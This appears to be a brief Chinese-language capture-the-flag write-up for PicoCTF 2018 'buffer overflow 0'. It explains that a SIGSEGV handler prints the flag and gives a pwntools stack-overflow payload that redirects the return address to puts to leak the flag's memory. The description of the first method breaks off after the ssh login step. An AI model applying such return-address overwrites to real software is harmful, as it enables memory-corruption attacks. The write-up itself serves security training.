来查看信号函数代表的含义:
11是 SIGSEGV
,表示对存储的无效访问
点进去sigsegv_handler
同时将flag的值赋予了stderr
现在知道那个信号函数的作用是:
当发生 对存储的无效访问时,会把stderr打印输出,即将flag的值打印输出
再往下有个 vuln函数
有两种解题方式
方法一:
经过前面的分析,我们知道了当发生了对 内存存储无效的访问会将flag打印出来
首先ssh链接,输入密码后
方法二:将ret覆盖成put,然后输出flag地址上的值,
from pwn import *
elf = ELF("./PicoCTF_2018_buffer_overflow_0")
payload = 'a' * (0x18 + 4) + p32(elf.plt['puts']) + p32(0) + p32(0x0804A080)
print("payload : " + payload)
得到了一串值 aaaaaaaaaaaaaaaaaaaaaaaaaaaa��\x04\x00\x00\x80\xa0\x04